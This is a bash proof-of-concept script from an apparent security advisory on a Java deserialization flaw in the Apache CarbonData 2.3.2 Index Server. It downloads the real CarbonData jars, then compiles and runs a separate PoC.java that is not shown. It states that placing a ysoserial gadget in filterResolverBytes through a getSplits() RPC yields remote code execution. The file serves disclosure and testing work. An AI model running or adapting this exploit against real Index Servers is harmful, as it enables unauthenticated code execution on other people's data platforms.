#!/usr/bin/env bash
#
#
# Apache CarbonData 2.3.2 Index Server Java Deserialization
#
#
# Vendor: The Apache Software Foundation
# Product web page: https://carbondata.apache.org
# Affected version: 2.3.2
#
# Summary: Apache CarbonData is an open-source, indexed columnar data
# storage format and database management system designed for fast interactive
# analytics on petabyte-scale big data platforms like Apache Hadoop and
# Apache Spark.
#
# Desc: Apache CarbonData suffer from a Java deserialization vulnerability
# on the Distributed Index Server. The IndexInputFormat Writable read
# over the Hadoop IPC endpoint deserializes a wire blob (filterResolverBytes)
# through a ClassLoaderObjectInputStream with no ObjectInputFilter, so
# under the default SIMPLE Hadoop authentication a remote attacker who
# can reach the endpoint can have an arbitrary attacker-named class deserialized.
# This becomes RCE when a gadget class is on the server classpath, plausible
# via the Spark/Hadoop dependencies CarbonData ships with.
#
# Tested on: Microsoft Windows 10 (x86-64)
#            OpenJDK Temurin 21.0.6
#            carbondata-core-2.3.2.jar
#            carbondata-common 2.3.2
#            commons-io 2.11.0
#            log4j 1.2.17
#            libthrift 0.13.0
#            slf4j 1.7.30
#            commons-codec 1.15
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2026-6030
# Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-6030
#
#
# 13.08.2026
#


set -u
HERE="$(cd "$(dirname "$0")" && pwd)"
case "$(uname -s)" in MINGW*|MSYS*|CYGWIN*) SEP=";"; jp(){ cygpath -w "$1"; } ;; *) SEP=":"; jp(){ printf '%s' "$1"; } ;; esac
command -v javac >/dev/null || { echo "[!] Need a JDK (javac)"; exit 1; }
W="$HERE/carbondata_poc_build"; rm -rf "$W"; mkdir -p "$W/lib"

M="https://repo1.maven.org/maven2"
echo "[*] Fetching real CarbonData 2.3.2 + deps ..."
declare -a JARS=(
  "org/apache/carbondata/carbondata-core/2.3.2/carbondata-core-2.3.2.jar"
  "org/apache/carbondata/carbondata-common/2.3.2/carbondata-common-2.3.2.jar"
  "commons-io/commons-io/2.11.0/commons-io-2.11.0.jar"
  "log4j/log4j/1.2.17/log4j-1.2.17.jar"
  "org/apache/thrift/libthrift/0.13.0/libthrift-0.13.0.jar"
  "org/slf4j/slf4j-api/1.7.30/slf4j-api-1.7.30.jar"
  "commons-codec/commons-codec/1.15/commons-codec-1.15.jar"
)
for j in "${JARS[@]}"; do curl -fsSL "$M/$j" -o "$W/lib/$(basename "$j")" || { echo "[!] Download failed: $j"; exit 1; }; done
CP=""; for x in "$W"/lib/*.jar; do CP="${CP:+$CP$SEP}$(jp "$x")"; done

echo "[*] Compiling the PoC.java against the real carbondata-core ..."
javac -cp "$CP" -d "$(jp "$W")" "$(jp "$HERE/PoC.java")" || { echo "[!] Build failed"; exit 1; }

echo "[*] Running: real ObjectSerializationUtil.convertStringToObject on an attacker-crafted string"
echo "-----------------------------------------------------------------"
( cd "$W" && java -cp ".${SEP}$CP" PoC )
echo "-----------------------------------------------------------------"
echo "[*] Attacker class readObject() ran inside the real CarbonData deser sink (no ObjectInputFilter)."
echo "    On a running Index Server a getSplits() RPC with a ysoserial gadget in filterResolverBytes = RCE."